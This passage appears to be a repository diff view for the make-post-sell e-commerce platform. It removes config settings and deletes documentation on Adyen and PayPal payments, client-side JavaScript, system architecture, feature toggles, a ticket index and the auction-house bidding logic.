| `Source Code <https://git.unturf.com/engineering/make-post-sell/make_post_sell>`_ | `PyPI <https://pypi.org/project/make-post-sell/>`_ | `SaaS <https://my.makepostsell.com>`_ |
Features
--------
* **Multi-tenant SaaS** — each shop gets its own subdomain or custom domain
* **Payments** — Stripe, PayPal, Adyen, Monero (XMR), Dogecoin (DOGE)
* **Watch Mode** — continuous media playback with DJ crossfade transitions, discovery ring, queue management, and autoplay
* **Pop-out Player** — draggable media window with keyboard shortcuts, ``/random`` and ``/tv`` endpoints
* **Email Subscriptions** — digest emails (immediately, daily, weekly) with @mention notifications
* **Feeds** — RSS, Atom, and sitemap generation per shop
* **AJAX Comments** — real-time comment posting without page reload, preserves media playback
* **Related Content** — Jaccard similarity ranking with thumbnails
* **Lazy Carts** — in-memory until a product is added, no empty rows from bots
* **CSS Grid Lanes** — optional masonry layout per shop
* **Vanilla JS** — no jQuery, no framework dependencies
* **Public Domain** — all contributed code is placed in the public domain
See ``CHANGELOG.rst`` for detailed release history.
Quick Start: Operating a Server with PyPI or Source Code
==========================================================

26
development.ini
View file

@ -51,15 +51,6 @@ app.make_post_sell.root_domain_owner_email = ${MAKE_POST_SELL_DOMAIN_OWNER_EMAIL
# app.email.relay = localhost:8025
# Single warm sending identity for ALL transactional mail (OTP codes, receipts,
# sale/offer notifications, gift cards, invites) — regardless of which shop or
# custom domain it's for. origin.makepostsell.com is DKIM-signed (d=makepostsell.com)
# and SPF-authorized (relayed via mx1.foxhop.net). See docs/tickets/mps-23.md.
# The shop name (when in shop context) becomes the From display name; this is the
# fallback display name for platform mail with no shop context.
app.email.sender = ${MPS_EMAIL_SENDER:-no-reply@origin.makepostsell.com}
app.email.from_name = ${MPS_EMAIL_FROM_NAME:-Make Post Sell}
# TODO: these values should be moved to environment variables & we should create an
# example app.env environment file.
app.bucket.secure_uploads = ${MPS_APP_MAIN_BUCKET}
@ -73,27 +64,10 @@ app.bucket.secure_uploads.secret_key = ${MPS_APP_SECURE_UPLOADS_SECRET_KEY}
# stripe test mode is enabled for development & disabled by default.
app.stripe.test_mode = True
# PayPal sandbox mode is enabled for development & disabled by default.
app.paypal.sandbox_mode = ${MPS_PAYPAL_SANDBOX_MODE:-True}
app.paypal.webhook_id = ${MPS_PAYPAL_WEBHOOK_ID:-}
# Payment method toggles
app.payments.stripe.enabled = ${MPS_PAYMENTS_STRIPE_ENABLED:-True}
app.payments.paypal.enabled = ${MPS_PAYMENTS_PAYPAL_ENABLED:-True}
app.payments.monero.enabled = ${MPS_PAYMENTS_MONERO_ENABLED:-False}
app.payments.dogecoin.enabled = ${MPS_PAYMENTS_DOGECOIN_ENABLED:-False}
app.payments.adyen.enabled = ${MPS_PAYMENTS_ADYEN_ENABLED:-True}
# Feature toggles
app.features.popout_player.enabled = ${MPS_FEATURES_POPOUT_PLAYER_ENABLED:-True}
# Karaoke (MPS-18) and torrent (MPS-19) — off by default until fixed.
# Flip to True only when the feature works end-to-end. See MPS-22.
app.features.karaoke.enabled = ${MPS_FEATURES_KARAOKE_ENABLED:-False}
app.features.torrent.enabled = ${MPS_FEATURES_TORRENT_ENABLED:-False}
# Adyen Configuration (test mode for development)
app.adyen.test_mode = ${MPS_ADYEN_TEST_MODE:-True}
# Monero RPC Configuration
# RPC endpoint of monero-wallet-rpc (recommend binding to localhost only)

132
docs/ADYEN.md
View file

@ -1,132 +0,0 @@
# Adyen Payments
Adyen is a payment processor that supports cards, wallets, and local payment methods.
**Status: Implemented**
## Overview
Adyen provides similar functionality to Stripe with a server-side API for processing payments. The integration pattern would be similar to our existing Stripe implementation.
## Privacy/Verification Requirements
Like PayPal and Stripe, Adyen requires business verification. However, Adyen's process is generally less invasive than PayPal's:
**What Adyen requires:**
- Business registration documents (company registration, articles of incorporation)
- Proof of identity for account holders (government ID photo)
- Bank account verification for payouts
- Proof of address (utility bill, bank statement)
**What Adyen does NOT require (unlike PayPal):**
- No face scanning / biometric capture
- No selfies or photos of your face
- Auto-verification attempted first before manual document requests
**Onboarding process:**
1. Self-serve signup at adyen.com
2. Adyen attempts automatic verification first
3. If auto-verification fails, they request documents via dashboard
4. Once verified, you can process live payments
Similar KYC (Know Your Customer) requirements as other payment processors, but less invasive than PayPal. If privacy is a priority, use crypto payments (XMR/DOGE) instead.
## Technical Integration
### Python Library
Official library: https://github.com/Adyen/adyen-python-api-library
```bash
pip install Adyen
```
### Basic Usage
```python
import Adyen
adyen = Adyen.Adyen()
adyen.client.xapikey = "YOUR_API_KEY"
adyen.client.platform = "test" # or "live"
# Create payment
result = adyen.checkout.payments_api.payments({
"amount": {"currency": "USD", "value": 1000}, # $10.00 in cents
"reference": f"invoice_{invoice.uuid_str}",
"merchantAccount": "YOUR_MERCHANT_ACCOUNT",
"paymentMethod": {
"type": "scheme",
"number": "4111111111111111",
"expiryMonth": "03",
"expiryYear": "2030",
"cvc": "737"
},
"returnUrl": "https://your-site.com/checkout/result"
})
```
### Required Credentials
Each shop would need:
| Credential | Description |
|------------|-------------|
| `adyen_api_key` | API key from Adyen dashboard |
| `adyen_merchant_account` | Merchant account identifier |
| `adyen_client_key` | Client-side key for Drop-in/Components |
| `adyen_hmac_key` | HMAC key for webhook verification |
### Webhooks
Adyen uses HMAC-SHA256 for webhook verification:
```python
import hashlib
import hmac
import base64
def verify_hmac(hmac_key, hmac_signature, payload):
expected = hmac.new(
binascii.unhexlify(hmac_key),
payload.encode('utf-8'),
hashlib.sha256
).digest()
expected_signature = base64.b64encode(expected).decode('utf-8')
return hmac.compare_digest(hmac_signature, expected_signature)
```
### Key Events
- `AUTHORISATION` - Payment authorized
- `CAPTURE` - Payment captured
- `REFUND` - Refund processed
- `CHARGEBACK` - Dispute/chargeback created
## Implementation Plan
To add Adyen support:
1. Add shop columns: `adyen_api_key`, `adyen_merchant_account`, `adyen_client_key`, `adyen_hmac_key`, `adyen_enabled`
2. Add invoice columns: `adyen_psp_reference` (payment reference)
3. Create checkout view similar to Stripe PaymentIntent flow
4. Add webhook handler with HMAC verification
5. Add shop settings UI for Adyen credentials
## Resources
- Python Library: https://github.com/Adyen/adyen-python-api-library
- Example Integration: https://github.com/adyen-examples/adyen-python-online-payments
- API Explorer: https://docs.adyen.com/api-explorer/
- Build Your Integration: https://docs.adyen.com/online-payments/build-your-integration
- Webhooks: https://docs.adyen.com/development-resources/webhooks
## Comparison with Other Processors
| Feature | Stripe | PayPal | Adyen |
|---------|--------|--------|-------|
| Python Library | `stripe` | `requests` | `Adyen` |
| Webhook Auth | Signature secret | Signature verification API | HMAC-SHA256 |
| Test Mode | `sk_test_*` keys | Sandbox mode | Test merchant account |
| KYC Required | Yes | Yes (invasive) | Yes |
| Self-serve signup | Yes | Yes | Yes |

177
docs/JAVASCRIPT.md
View file

@ -1,177 +0,0 @@
# JavaScript Usage
This project minimizes JavaScript usage, preferring pure CSS solutions where possible (e.g., `<details>` elements for toggles). JavaScript is used only where necessary for payment integrations, real-time updates, and progressive enhancement.
## Philosophy
- Prefer pure HTML/CSS over JavaScript
- Use `<details>` elements for toggles instead of JS
- External SDKs loaded only when payment method is enabled
- No build step - vanilla JS only
- No jQuery - all vanilla JavaScript
## Static JavaScript Files
Located in `make_post_sell/static/js/`:
### qrcode.min.js
- QRious library for QR code generation
- Used by: Crypto checkout page
- Generates payment QR codes for XMR/DOGE addresses
### custom.js
- Markdown preview functionality
- Functions: `previewAjax()`, `sendPreview()`
- Uses fetch API for AJAX calls to `/markup-editor-preview`
### watch.js
- Watch mode continuous playback engine
- Used by: `product.j2` when shop has `watch_mode_enabled`
- Discovery ring with deterministic content traversal per shop
- Crossfade transitions between media (3s, 60 steps)
- Countdown overlay (7s) between items
- Queue management: add, remove, reorder
- Two-phase preload: JSON metadata fetch, then media buffering 30s before end
- Recently-played filtering via localStorage (4-hour expiry)
- Handles video, audio, and static content (PDFs, images)
- Autoplay toggle persisted in localStorage
- Ring state (position, direction, history) persisted in localStorage
### sandbox.js
- Client-side creative filter engine (IIFE, ~700 lines)
- Used by: `base.j2` when shop has `sandbox_mode` enabled
- 32 CSS filter presets across 7 categories (basic, warm, cool, dramatic, color, Instagram-style, SVG)
- 7 adjustment sliders (brightness, contrast, saturation, hue, blur, sepia, grayscale)
- Image export via canvas `toBlob()` (PNG)
- Video export via `MediaRecorder` + `captureStream(30fps)` (WebM)
- On-demand face detection via MediaPipe Face Mesh (468 landmarks, eye glow, face mask overlays)
- Upload-to-bucket: presigned POST to user's S3 bucket via `/u/sandbox/upload`
- localStorage persistence: preset, slider values, panel state, filter mode
- Exposes `window.sandboxReapply()` for watch.js SPA integration
### signals.js
- Anonymous page visit signal collector
- Used by: all product/content pages
- Collects presence (wall_clock, visible, active), scroll (depth, direction changes), and media playback signals
- Sends single JSON beacon (~300 bytes) via `navigator.sendBeacon()` on page unload
- No cookies, no IPs, no fingerprints — purely behavioral signals
- Viewport width sent for device class derivation (server-side)
### comments.js
- AJAX comment submission (progressive enhancement)
- Intercepts comment form POST, submits via `fetch()` with `X-Requested-With: XMLHttpRequest`
- Server returns JSON (HTTP 201) for AJAX requests
- Inserts new comment into DOM without page reload (preserves media playback)
- Falls back to normal POST + redirect without JS or on error
### player.js
- Pop-out media player with draggable window
- Prev/next navigation and keyboard shortcuts
- Auto-advance for images/PDFs (60s timer)
- Preloads adjacent media for instant switching
- Used by: `/random` and `/tv` endpoints
## Inline JavaScript by Template
### base.j2
**Purpose:** Theme switching (dark/light mode)
- Runs immediately in `<head>` to prevent flash of wrong theme
- Priority: localStorage > user preference > shop default
- Exposes `window.setTheme()` for programmatic use
### shop_settings.j2
**Purpose:** Settings page interactions
- Crypto wallets toggle (checkbox + localStorage)
- Theme preview for shop default theme radio buttons
- Note: Payment provider toggles use pure CSS `<details>` elements
### user_settings.j2
**Purpose:** User theme preference sync
- Syncs theme radio buttons with localStorage
- Updates localStorage on form submit
### cart_checkout.j2
**Purpose:** Payment processing
1. **PayPal SDK** (`paypal.Buttons()`)
- Loads PayPal SDK from `paypal.com`
- Creates orders via `POST /paypal/create-order`
- Handles approval flow and form submission
- Double-click protection flags
2. **Cancel Crypto Quote** (`cancelQuote()`)
- Cancels pending crypto payment quotes
- Uses fetch API with CSRF token
### crypto_checkout.j2
**Purpose:** Crypto payment monitoring
- QR code generation using QRious library
- Countdown timer for quote expiry
- Status polling via fetch API
- Copy-to-clipboard for address/amount
- Dynamic UI updates based on payment status
- Functions: `disableQuoteButtons()`, `removePaymentElements()`, `replaceButtonsWithInvoiceLink()`
### snippets/stripe.j2
**Purpose:** Stripe card form (macro `new_card()`)
- Loads Stripe.js SDK
- Creates Payment Element for card input
- Handles `stripe.confirmSetup()` flow
- Uses vanilla JS with `DOMContentLoaded`
### snippets/analytics.j2
**Purpose:** Analytics tracking (optional)
- Plausible Analytics (privacy-focused)
- Google Analytics (gtag.js)
- Only loaded if shop has configured analytics
### product.j2
**Purpose:** Inline video playback
- `playInline()` replaces thumbnail container with `<video>` element on click
- Used for preview playback on product pages without watch mode
- Loads `watch.js` when shop has `watch_mode_enabled`
### snippets/comments.j2
**Purpose:** Comment form
- Loads `comments.js` async for AJAX submission
- Uses `js-only` class pattern for elements requiring JS
### snippets/optional-javascript.j2
**Purpose:** Optional JS loading
- Loads custom.js async
- Used for markdown preview functionality
## External SDKs
| SDK | URL | Used For |
|-----|-----|----------|
| PayPal | `paypal.com/sdk/js` | PayPal button/checkout |
| Stripe | `js.stripe.com/v3/` | Card payment form |
| Plausible | Shop-configured domain | Privacy analytics |
| Google Analytics | `googletagmanager.com` | Google analytics |
| MediaPipe | `cdn.jsdelivr.net` | Face detection (sandbox mode, on-demand) |
## CSRF Protection
All fetch/AJAX calls include CSRF tokens:
- Header: `X-CSRF-Token`
- Value from: `{{ request.session.get_csrf_token() }}` or hidden input
## Progressive Enhancement
Pages work without JavaScript where possible:
- Payment provider toggles use `<details>` (pure CSS)
- Forms submit normally without JS
- JS enhances UX (copy buttons, QR codes, live previews)
- Comment forms POST normally without JS; AJAX submission preserves playback with JS
- Watch mode elements use `js-only` class (hidden via `<noscript>` stylesheet)
- Video thumbnails link directly to media without JS; inline playback with JS

81
docs/PAYPAL.md
View file

@ -1,81 +0,0 @@
# PayPal Payments
PayPal is available as a payment method alongside Stripe and crypto (XMR/DOGE).
## Privacy Warning
PayPal requires invasive identity verification to receive payments:
- ML-based face scanning (biometric capture)
- Two images of your face from different angles
- Photos of both sides of government-issued ID (driver's license, passport)
- Business verification for merchant accounts
This verification is required to move from sandbox to live production payments. There is no way to accept PayPal payments anonymously or privately. If privacy is important to you, consider crypto payments (XMR/DOGE) instead.
## Shop Setup
1. Go to https://developer.paypal.com/dashboard/
2. Create an app (sandbox for testing, live for production)
3. Complete identity verification (face scan + government ID)
4. Copy Client ID and Secret
5. In Shop Settings → PayPal Settings, enter credentials and save
## Configuration
Global settings in `development.ini`:
```ini
app.payments.paypal.enabled = True
app.paypal.sandbox_mode = True
```
Or environment variables:
```bash
export MPS_PAYMENTS_PAYPAL_ENABLED=True
export MPS_PAYPAL_SANDBOX_MODE=True
```
## How It Works
- Each shop configures their own PayPal credentials
- PayPal button appears at checkout when enabled
- Payment info stored on Invoice (`paypal_order_id`, `paypal_capture_id`)
- `Invoice.payment_method` returns "paypal" for PayPal payments
- Saved payment methods stored in `PayPalUserShop`
## Webhooks
Webhooks provide resilience when JavaScript callbacks fail. Configure in PayPal Developer Dashboard:
1. Go to https://developer.paypal.com/dashboard/applications
2. Select your app → Webhooks → Add Webhook
3. Enter URL: `https://yourdomain.com/webhooks/paypal`
4. Subscribe to events:
- `PAYMENT.CAPTURE.COMPLETED`
- `CHECKOUT.ORDER.APPROVED`
- `PAYMENT.CAPTURE.DENIED`
- `CUSTOMER.DISPUTE.CREATED`
5. Copy the Webhook ID
6. Set in your ini: `paypal.webhook_id = YOUR_WEBHOOK_ID`
## Code
- `make_post_sell/views/cart.py` - PayPal checkout functions (`paypal_create_order`, `paypal_complete_checkout`)
- `make_post_sell/views/billing.py` - Disconnect saved PayPal
- `make_post_sell/views/webhooks.py` - Webhook handlers
## Database
**mps_shop columns:**
- `paypal_client_id` - Shop's PayPal Client ID
- `paypal_secret` - Shop's PayPal Secret
- `paypal_enabled` - Toggle PayPal on/off
**mps_invoice columns:**
- `paypal_order_id` - PayPal order reference
- `paypal_capture_id` - PayPal capture reference
**mps_paypal_user_shop table:**
- Tracks saved PayPal payment methods per user/shop

270
docs/architecture.md
View file

@ -1,270 +0,0 @@
# MPS Architecture Overview
## System Diagram
```
Internet
|
┌────────┴────────┐
│ Caddy (HTTPS) │
│ reverse proxy │
│ :443 → :6001 │
└────────┬────────┘
|
┌────────┴────────┐
│ uWSGI │
│ 2 proc, 8 thr │
│ reload@512MB │
└────┬───────┬────┘
| |
┌──────────────┘ └──────────────┐
| |
┌────────┴────────┐ ┌────────┴────────┐
│ Pyramid / WSGI │ │ Background │
│ Request Cycle │ │ Threads │
│ │ │ │
│ views/ │ │ S3 mirror │
│ models/ │ │ Karaoke vocal │
│ templates/ │ │ isolation │
│ lib/ │ │ │
└───┬────┬────┬───┘ └────────┬────────┘
| | | |
┌─────────┘ | └─────────┐ |
| | | |
┌────┴────┐ ┌─────┴─────┐ ┌────┴────────┐ ┌───────┴───────┐
│ SQLite │ │ DO Spaces │ │ Payment │ │ DO Spaces │
│ DB │ │ (CDN) │ │ Providers │ │ + User S3 │
│ │ │ │ │ │ │ + Mirror S3 │
│ models │ │ media │ │ Stripe │ │ │
│ sessions│ │ thumbs │ │ PayPal │ │ Presigned │
│ signals │ │ assets │ │ Crypto │ │ URLs only │
│ │ │ │ │ Gift Cards │ │ │
└─────────┘ └────────────┘ └──────────────┘ └───────────────┘
```
## Request Flow
```
Browser GET /s/{shop_id}/{slug}
│
├─ Pyramid route dispatch
│ └─ views/content.py or views/product.py
│ ├─ Query product + shop from SQLite
│ ├─ Compute discovery ring related products
│ ├─ Generate presigned URLs for media (15 min TTL)
│ └─ Render Jinja2 template
│
├─ Template layers:
│ ├─ base.j2 (theme, nav, conditional sandbox toolbar)
│ ├─ product.j2 / content.j2 (media, metadata, CTA)
│ ├─ snippets/related_content.j2 (ring sidebar)
│ ├─ snippets/comments.j2 (comment form + list)
│ └─ snippets/analytics.j2 (optional Plausible/GA)
│
├─ Client JS (progressive enhancement):
│ ├─ signals.js → anonymous beacon on unload
│ ├─ watch.js → SPA navigation (if watch_mode_enabled)
│ ├─ sandbox.js → filter toolbar (if sandbox_mode)
│ └─ comments.js → AJAX comment submission
│
└─ Media served from CDN via presigned URLs (never through uwsgi)
```
## Data Collection Pipeline
```
Page visit (browser)
│
│ signals.js collects:
│ - presence (wall_clock, visible, active ms)
│ - scroll (depth, direction changes)
│ - media (play, pause, seek, speed, completion)
│ - viewport width
│
▼
navigator.sendBeacon("/signals/beacon")
│ ~300 bytes JSON, one per page visit
│
▼
views/signals.py
│
├─ classify_referrer(Referer header)
│ → (class, domain, query) tuple
│ Stores: referrer_class, referrer_domain, referrer_query
│
├─ classify_device(viewport_width)
│ → 0=mobile, 1=tablet, 2=desktop
│
├─ Insert mps_page_session row
│
└─ If visible_ms >= 7000:
increment product.view_count
```
## Analytics Pipeline
```
mps_page_session (raw rows)
│
├─ views/analytics.py
│ │
│ ├─ Daily bucketing functions (28-day windows):
│ │ _daily_buckets() → view counts (bar chart)
│ │ _daily_avg_duration() → avg session duration
│ │ _daily_engagement() → engagement ratio
│ │ _daily_bounce_rate() → bounce rate
│ │ _daily_referrer_counts()→ external referrer volume
│ │
│ ├─ Ranked queries:
│ │ _top_referrer_domains() → top external domains
│ │ _top_referrer_queries() → top search engine queries
│ │ _top_search_keywords() → top internal search terms
│ │
│ └─ Aggregate queries:
│ Overview strip (7d)
│ Top products by views (7/14/21d)
│ Ring entry points
│ Engagement/attention leaders
│ Study material / background favorites
│ Traffic sources / device split
│
├─ templates/analytics.j2 (shop-level dashboard)
│ └─ SVG line_chart macro (server-rendered polyline)
│
└─ templates/analytics_product.j2 (per-product dashboard)
└─ SVG line_chart macro
```
## S3 Storage Architecture
```
┌─────────────────────────────────────────────────────────┐
│ MPS Main Bucket │
│ (DigitalOcean Spaces + CDN) │
│ │
│ {shop_id}/products/{product_id}/{filename} │
│ {shop_id}/products/{product_id}/thumb/{filename} │
│ {shop_id}/shop/{logo|banner} │
│ {shop_id}/products/{product_id}/karaoke/{filename} │
└───────────┬─────────────────────────────────┬────────────┘
│ │
Presigned URLs Mirror sync
(15 min TTL) (daemon thread)
│ │
▼ ▼
Browser / CDN ┌────────────────────┐
│ Shop Mirror Bucket │
│ (shop.has_s3_mirror)│
│ │
│ Same key structure │
│ Passive copy │
│ Backfill on setup │
└─────────────────────┘
┌─────────────────────────────────────────────────────────┐
│ Shop Primary Bucket (BYOB) │
│ (shop.has_primary_s3 — MPS-16) │
│ │
│ When enabled, REPLACES MPS Main Bucket for this shop: │
│ - All presigned URLs use shop's S3 client │
│ - All CDN URLs use shop's cdn_endpoint │
│ - request.shop_uploads_client / shop_bucket_name / │
│ shop_cdn_endpoint fall back to MPS default when off │
│ │
│ Configured via bucket-settings form section │
└─────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────┐
│ User Artifact Bucket │
│ (user.has_s3_bucket) │
│ │
│ sandbox/{user_id}/{timestamp}-{filename} │
│ │
│ Presigned POST from /u/sandbox/upload │
│ Browser uploads directly (never through MPS server) │
│ 50MB max per file │
└─────────────────────────────────────────────────────────┘
```
## Feature Toggle Matrix
| Feature | Model Column | Form Section | Default |
|---------|-------------|--------------|---------|
| Watch mode | `shop.watch_mode_enabled` | `ribbon-settings` | Off |
| Sandbox mode | `shop.sandbox_mode` | `ribbon-settings` | Off |
| Show price history (MPS-24 Phase 2.5) | `shop.show_price_history` | `ribbon-settings` | Off |
| Show dates | `shop.show_dates` | `ribbon-settings` | On |
| Grid lanes | `shop.grid_lanes_enabled` | `ribbon-settings` | Off |
| Color filter | `shop.color_filter` | `ribbon-settings` | 0 (none) |
| Comments | `shop.comments_enabled` | `comment-settings` | On |
| Stripe | `shop.stripe_enabled` | `stripe-settings` | On |
| PayPal | `shop.paypal_*` | `paypal-settings` | Off |
| Crypto | `shop.monero_*` / `shop.dogecoin_*` | `crypto-settings` | Off |
| Gift cards | `shop.gift_card_enabled` | `gift-card-settings` | Off |
| S3 mirror | `shop.mirror_s3_*` | `mirror-settings` | Off |
| BYOB (primary S3) | `shop.primary_s3_*` | `bucket-settings` | Off |
| Environment | `shop.environment` | `environment-settings` | 0 (production) |
| Trial | `shop.trial_started_timestamp` | Auto on creation | 21 days |
| Discovery ring | `shop.discovery_ring` | Automatic | Auto-computed |
| Subscriptions | `shop.subscription_*` | `ribbon-settings` | Off |
| Karaoke (vocal isolation) | `shop.unsandbox_*_key` | `unsandbox-settings` | Off |
| Make-an-offer | `shop.offer_enabled` + `product.allow_offers` | `offer-settings` | Off |
| Offer expiration (hours) | `shop.offer_expiration_hours` | `offer-settings` | 48 |
| Offer pay window post-accept (hours) | `shop.offer_acceptance_payment_hours` | `offer-settings` | 24 |
| In-app notifications | (always on, no toggle — every txn email also drops a row) | n/a | On |
| Home page layout (MPS-24) | `shop.home_layout` (0=flat / 1=chips / 2=lanes) | `home-layout-settings` | 0 (flat) |
| Tag chip / lane caps (MPS-24) | `shop.home_layout_tag_limit` / `shop.home_layout_per_lane_limit` | `home-layout-settings` | 8 / 10 |
| Featured products strip (MPS-24) | `shop.featured_product_ids_json` | `home-layout-settings` | empty |
| Product tags (MPS-24) | `Tag` + `ProductTag` association | product edit + `/s/{id}/tags` bulk editor | — |
| Tag auto-suggest (MPS-24 Phase 2) | `lib/tag_suggest.py` over `Product.title` + `Product.description` | `?show_suggestions=1` on `/s/{id}/tags` + `scripts/backfill_tags.py` | Never auto-applies |
| Tag-detail facet sidebar (MPS-24 Phase 2.6) | `shop_tag.j2` + `views/shop.py` `_price_range_from_request` / `_filter_by_price_range` | Sort + price range + categories list, GET form, sidebar ≥800px, top chip strip <800px | Always on for tag detail pages |
| 6-sentence SERP excerpt (MPS-24 Phase 2.6) | `Product.excerpt_sentences(n=6, max_chars=1500)` via shared `_strip_markdown()` helper | `shop_tag.j2` row description | Always on |
| Facet nav on shop home (MPS-24 Phase 2.6b) | `_facet_nav.j2` macros + `home.j2` / `shop.j2` wrappers | Desktop sidebar + mobile `<details>` accordion when `shop.home_layout >= 1` | Opt-in via home_layout |
| Mobile SERP rows under each lane (MPS-24 Phase 2.6b) | `home.j2` / `shop.j2` `.tag-lane-rows` markup + CSS visibility swap | Horizontal tiles ≥800px; vertical SERP rows with 6-sentence excerpts <800px | On for layout 2 |
| Per-product SPA tag chips (MPS-24 Phase 2.7) | `product_tags` view (`/p/{id}/tags`) + `static/js/product_tags.js` + `views/__init__.py:is_ajax()` | Chip add/remove on product edit, AJAX persist, no full page reload; no-JS keeps the comma `tags` field on the main form | Always on (JS-enhanced; no-JS fallback) |
| Bulk tagger AJAX focus + DnD (MPS-24 Phase 2.8) | `shop.py:shop_tags` AJAX `?focus=` branch + `tag_bulk.js` `wireFocusLinks`/`wireDragAndDrop` | Tag chip click swaps product list in place (no reload); HTML5 drag-to-reorder POSTs `set_order`; bare GET no longer loads the whole catalog | Always on (JS-enhanced; no-JS = real navigation) |
## Ticket Index
| Ticket | Title | Status |
|--------|-------|--------|
| [MPS-0](tickets/mps-0.md) | AJAX Comment Submission | Complete |
| [MPS-1](tickets/mps-1.md) | YouTube-Style Watch Experience | Complete |
| [MPS-2](tickets/mps-2.md) | Anonymous Signal Gathering & View Count | Complete |
| [MPS-3](tickets/mps-3.md) | Creator Analytics Dashboard | Complete |
| [MPS-4](tickets/mps-4.md) | Eliminate 502s from uWSGI Worker Recycling | Complete |
| [MPS-5](tickets/mps-5.md) | Investigate uWSGI Worker Memory Growth | Open |
| [MPS-6](tickets/mps-6.md) | Referrer Analytics — Domain, Query, Trend Lines | Complete |
| [MPS-7](tickets/mps-7.md) | Sandbox Mode — Creative Filter System | Complete |
| [MPS-8](tickets/mps-8.md) | User S3 Bucket + Artifact Storage | Complete |
| [MPS-9](tickets/mps-9.md) | Shop S3 Mirror Bucket | Complete |
| [MPS-10](tickets/mps-10.md) | Gift Card — Models & Migration | Complete |
| [MPS-11](tickets/mps-11.md) | Gift Card — Purchase Flow | Complete |
| [MPS-12](tickets/mps-12.md) | Gift Card — Redemption at Checkout | Complete |
| [MPS-13](tickets/mps-13.md) | Gift Card — Shop Admin & Settings | Complete |
| [MPS-14](tickets/mps-14.md) | Shop Environment — Dev & Stage Shops | Complete |
| [MPS-15](tickets/mps-15.md) | 21-Day Free Trial | Complete |
| [MPS-16](tickets/mps-16.md) | Bring Your Own Bucket (BYOB) | Complete |
| [MPS-17](tickets/mps-17.md) | REST API v1 — HMAC-signed product/content + upload | Open |
| [MPS-18](tickets/mps-18.md) | Karaoke Mode — Diagnose & Fix Vocal Isolation | Open (Broken in prod) |
| [MPS-19](tickets/mps-19.md) | BitTorrent / Magnet Link — Diagnose & Fix Distribution | Open (Broken in prod) |
| [MPS-20](tickets/mps-20.md) | Auction House Mode (eBay-style Bidding) | Complete |
| [MPS-21](tickets/mps-21.md) | Make-an-Offer Mode | Complete |
| [MPS-22](tickets/mps-22.md) | Kill-Switch Feature Flags — Karaoke + Torrent Off by Default | Complete |
| [MPS-23](tickets/mps-23.md) | Consolidated Transactional Sender Identity + Shop Contact Email | Open |
| [MPS-24](tickets/mps-24.md) | Shop home page overhaul + product categorization (tags + chips + lanes + auto-suggest + per-product SPA tag chips + bulk-tagger AJAX/DnD) | In progress (Phases 1 + 2 + 2.6 + 2.7 + 2.8 landed) |
## Related Docs
| Doc | Purpose |
|-----|---------|
| [Design System](design-system.md) | Design tokens, CSS architecture, component library |
| [Notifications](notifications.md) | In-app notification table, kinds, and per-transition wiring |
| [Auction House](auction-house.md) | MPS-20 — bidding, soft-close, payment deadline |
| [Make Offer](make-offer.md) | MPS-21 — offer state machine, counter rounds, expiry |
| [JavaScript](JAVASCRIPT.md) | Client-side JS architecture |
| [Karaoke Pipeline](karaoke-pipeline.md) | Vocal isolation: pipeline, on-demand, streaming architecture |
| [Sandbox Mode](sandbox-mode.md) | Creative filter system |
| [Auction House](auction-house.md) | MPS-20: state machine, bidding logic, soft-close, proxy |
| [Make-an-Offer](make-offer.md) | MPS-21: state machine, counter rounds, auto-accept/decline |
| [Testing Performance](testing-performance.md) | Test suite optimization |

133
docs/auction-house.md
View file

@ -1,133 +0,0 @@
# Auction House Mode (MPS-20)
eBay-style bidding for any product. Shop owner flips `Product.pricing_mode`
to `1` (auction) or `2` (auction + buy-now) on the product edit page; the
system creates a draft `MpsAuction` row and the auction page goes live
once the owner schedules `start_timestamp` and `end_timestamp`.
## State Machine
```
draft → scheduled → active → ended → settled
↘ cancelled
```
| state | transition |
|-------|-----------|
| 0 draft | owner editing; not visible to buyers |
| 1 scheduled | countdown to start_timestamp; tick promotes to active |
| 2 active | accepting bids; soft-close extends end_timestamp |
| 3 ended | bidding closed; winner determined; payment_deadline_timestamp set |
| 4 settled | winner paid via cart; product transferred (mark_paid hook) |
| 5 cancelled | owner aborted (pre-active only) |
## Models
- `MpsAuction` — one per Product (unique index on `product_id`); fields
for state, timestamps, prices (start/reserve/buy_now), bid_increment,
soft_close_seconds, winner_user_id, payment_deadline_timestamp.
- `MpsBid` — one row per bid; `is_winning` flag flips when outbid.
Stores `max_proxy_in_cents` for proxy bidding.
- `MpsAuctionWatcher` — user follows the auction; drives notifications.
- `MpsCartAuction` — cart-side association so checkout pays the
winning bid amount instead of `Product.price_in_cents`.
## Bidding Logic (`lib/auction.py`)
Pure helpers:
- `validate_bid` — state must be ACTIVE; first bid >= start_price;
subsequent >= current_high + increment.
- `is_within_soft_close` / `extended_end_timestamp` — soft-close math.
- `resolve_proxy` — eBay-style: higher proxy wins; loser auto-bids
defending bidder up to `min(loser_proxy + increment, winner_proxy)`;
ties go to the existing top.
Orchestrator:
- `place_bid(auction, bidder, amount, max_proxy)` — validates, writes
the new `MpsBid`, marks prior winning bid `is_winning=False` with
`outbid_timestamp`, applies proxy resolution, applies soft-close,
flushes. Raises `BidRejected` on rejection.
## Buy-Now (mode 2)
`POST /a/{id}/buy-now` from a buyer places a bid at
`buy_now_price_in_cents`, sets `state=ENDED`, records winner. Buyer
proceeds to `/a/{id}/checkout` to pay.
## Soft-Close (anti-snipe)
A bid placed within `soft_close_seconds` of `end_timestamp` extends the
end by `soft_close_seconds`. `original_end_timestamp` preserves the
scheduled close for audit.
## Tick (`scripts/auction_tick.py`)
Cron-driven state transitions:
- `SCHEDULED + start_timestamp <= now → ACTIVE`
- `ACTIVE + end_timestamp <= now → ENDED`
- records winner from `is_winning` bid (if any)
- sets `payment_deadline_timestamp = now + 48h`
Recommended cron: every minute (`* * * * *`). 60s default soft-close
window means 1-min granularity is fine.
## Routes
```
GET /a/{auction_id} live page (auction.j2 + auction.js)
GET /a/{auction_id}.json JSON state (one-shot; fallback poll)
GET /a/{auction_id}/events bounded SSE feed of auction state (public)
POST /a/{auction_id}/bid place bid (login required, no self-bid)
POST /a/{auction_id}/buy-now end auction at buy_now (mode 2)
POST /a/{auction_id}/watch toggle watcher
POST /a/{auction_id}/checkout winner pays via standard cart flow
```
## Cart Integration
When `cart.cart_auctions` has one row, `cart.total_price_in_cents`
short-circuits to the winning bid amount + handling +
gift-card-purchases. After standard cart payment success,
`_finalize_auction_offer_state` flips `state=SETTLED` and records
`winner_user_id` + `winning_bid_id`.
## Live UI (`static/js/auction.js`)
- Countdown clock ticks every 1s (data-end-timestamp attribute)
- Live state via a **bounded SSE feed** `/a/{id}/events` (`auction_events`
view → `lib/sse.py`): polls the row ~every 1.5s, emits a `data:` frame
